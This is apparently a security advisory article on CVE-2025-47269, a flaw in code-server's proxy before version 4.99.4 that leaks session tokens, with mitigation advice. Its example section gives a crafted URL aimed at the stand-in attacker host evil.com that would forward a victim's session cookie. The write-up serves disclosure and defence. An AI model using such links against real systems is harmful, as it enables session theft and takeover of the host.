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CVE-2025-47269: Session Token Exposure in code-server Prior to Version 4.99.4

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Overview

In the world of cybersecurity, the discovery and mitigation of vulnerabilities are paramount to sustaining a safe digital environment. One such vulnerability is CVE-2025-47269, affecting code-server, a popular tool that allows users to run Visual Studio Code on any machine through browser access. This vulnerability is significant due to the potential for malicious agents to access sensitive data, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47269
Severity: High (8.3 CVSS Score)
Attack Vector: Network (via crafted URL)
Privileges Required: None
User Interaction: Required (victim needs to click on a malicious link)
Impact: System compromise, Unauthorized Access, Data Leakage

Affected Products

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Product | Affected Versions

code-server | Prior to 4.99.4

How the Exploit Works

The vulnerability lies in the built-in proxy feature of code-server. Prior to version 4.99.4, a lack of sufficient validation for proxy requests allows a maliciously crafted URL to proxy a connection to an arbitrary domain. This URL could be structured to reference the attacker’s domain, enabling the session cookie to be sent to the attacker’s site. With the session cookie, the attacker could log into the code-server and potentially gain full access to the host machine.

Conceptual Example Code

Consider the following URL, which an attacker could craft and distribute:

https://<code-server>/proxy/test@evil.com/path

In this scenario, the attacker’s domain is `evil.com`. When a user clicks on this URL, their connection would be proxied to `test@evil.com/path`, and their session token would be sent along with it. This token could then be used by the attacker to access the user’s code-server instance.

Mitigation and Recommendations

The developers behind code-server have addressed this issue in version 4.99.4. It is recommended to update your code-server to this version or later. If immediate updating is not possible, users can temporarily mitigate the issue by disabling the built-in proxy feature or implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to identify and block malicious requests. Always avoid clicking on links from untrusted sources to reduce the risk of exposure.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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